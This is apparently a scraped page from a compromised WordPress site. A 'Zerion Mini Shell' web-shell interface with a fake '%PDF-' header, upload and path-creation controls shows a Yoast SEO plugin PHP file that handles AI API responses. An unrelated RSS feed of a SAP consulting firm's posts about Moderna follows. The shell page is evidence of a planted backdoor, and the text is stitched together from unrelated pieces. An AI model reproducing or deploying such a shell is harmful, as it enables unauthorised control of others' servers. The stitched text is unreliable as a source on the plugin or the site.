%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom329039/wp-content/plugins/wordpress-seo/src/ai-http-request/application/
Upload File :
Create Path :
Current File : /dom329039/wp-content/plugins/wordpress-seo/src/ai-http-request/application/request-handler.php

<?php

namespace Yoast\WP\SEO\AI_HTTP_Request\Application;

use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Bad_Request_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Forbidden_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Internal_Server_Error_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Not_Found_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Payment_Required_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Request_Timeout_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Service_Unavailable_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Too_Many_Requests_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Unauthorized_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\WP_Request_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Request;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Response;
use Yoast\WP\SEO\AI_HTTP_Request\Infrastructure\API_Client;

/**
 * Class Request_Handler
 * Handles the request to Yoast AI API.
 *
 * @makePublic
 */
class Request_Handler implements Request_Handler_Interface {

	private const TIMEOUT = 60;

	/**
	 * The API client.
	 *
	 * @var API_Client
	 */
	private $api_client;

	/**
	 * The response parser.
	 *
	 * @var Response_Parser
	 */
	private $response_parser;

	/**
	 * Request_Handler constructor.
	 *
	 * @param API_Client      $api_client      The API client.
	 * @param Response_Parser $response_parser The response parser.
	 */
	public function __construct( API_Client $api_client, Response_Parser $response_parser ) {
		$this->api_client      = $api_client;
		$this->response_parser = $response_parser;
	}

	// phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods.

	/**
	 * Executes the request to the API.
	 *
	 * @param Request $request The request to execute.
	 *
	 * @return Response The response from the API.
	 *
	 * @throws Bad_Request_Exception When the request fails for any other reason.
	 * @throws Forbidden_Exception When the response code is 403.
	 * @throws Internal_Server_Error_Exception When the response code is 500.
	 * @throws Not_Found_Exception When the response code is 404.
	 * @throws Payment_Required_Exception When the response code is 402.
	 * @throws Request_Timeout_Exception When the response code is 408.
	 * @throws Service_Unavailable_Exception When the response code is 503.
	 * @throws Too_Many_Requests_Exception When the response code is 429.
	 * @throws Unauthorized_Exception When the response code is 401.
	 * @throws WP_Request_Exception When the request fails for any other reason.
	 */
	public function handle( Request $request ): Response {
				$api_response = $this->api_client->perform_request(
					$request->get_action_path(),
					$request->get_body(),
					$request->get_headers(),
					$request->get_http_method(),
				);

		$response = $this->response_parser->parse( $api_response );

		// phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive.
		switch ( $response->get_response_code() ) {
			case 200:
				return $response;
			case 401:
				throw new Unauthorized_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
			case 402:
				throw new Payment_Required_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code(), null, $response->get_missing_licenses() );
			case 403:
				throw new Forbidden_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
			case 404:
				throw new Not_Found_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
			case 408:
				throw new Request_Timeout_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
			case 429:
				throw new Too_Many_Requests_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code(), null, $response->get_missing_licenses() );
			case 500:
				throw new Internal_Server_Error_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
			case 503:
				throw new Service_Unavailable_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
			default:
				throw new Bad_Request_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
		}
		// phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped
	}

	// phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber
}

Zerion Mini Shell 1.0
GMH Consulting Group LLC https://gmhconsultinggroup.com/ The global benchmark in the successful delivery of all SAP projects. Mon, 09 Oct 2023 18:12:51 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.13 https://gmhconsultinggroup.com/wp-content/uploads/2023/01/cropped-New-Project-57-32x32.png GMH Consulting Group LLC https://gmhconsultinggroup.com/ 32 32 Advantages of mRNA Vaccines https://gmhconsultinggroup.com/2022/02/134/ Wed, 02 Feb 2022 04:58:00 +0000 https://gmhconsultinggroup.com/?p=134 Helping Moderna with the SAP S4 supply chain digital transformation of their mRNA Vaccine technology worldwide. #sap #technology #digitaltransformation #s4hana #supplychain Digitalization of Vaccines

The post Advantages of mRNA Vaccines appeared first on GMH Consulting Group LLC.

]]>

Helping Moderna with the SAP S4 supply chain digital transformation of their mRNA Vaccine technology worldwide. #sap #technology #digitaltransformation #s4hana #supplychain

Digitalization of Vaccines

The post Advantages of mRNA Vaccines appeared first on GMH Consulting Group LLC.

]]>
Digitalization of Vaccines Enabled by S/4 HANA https://gmhconsultinggroup.com/2022/02/132/ Wed, 02 Feb 2022 04:57:00 +0000 https://gmhconsultinggroup.com/?p=132 Helping Moderna deliver on the promise of mRNA science to create an new generation of transformative medicines for patients enabled by S/4 Digital Supply Chain. #saps4hana #supplychain #digital #science

The post Digitalization of Vaccines Enabled by S/4 HANA appeared first on GMH Consulting Group LLC.

]]>

Helping Moderna deliver on the promise of mRNA science to create an new generation of transformative medicines for patients enabled by S/4 Digital Supply Chain. #saps4hana #supplychain #digital #science

The post Digitalization of Vaccines Enabled by S/4 HANA appeared first on GMH Consulting Group LLC.

]]>
SAP Cloud Integration Platform https://gmhconsultinggroup.com/2018/09/browse-projects-accomplished-by-our-consulting-team/ Sat, 29 Sep 2018 04:56:00 +0000 https://gmhconsultinggroup.com/?p=130 Browse Projects Accomplished by Our Consulting Team

The post SAP Cloud Integration Platform appeared first on GMH Consulting Group LLC.

]]>

Browse Projects Accomplished by Our Consulting Team

The post SAP Cloud Integration Platform appeared first on GMH Consulting Group LLC.

]]>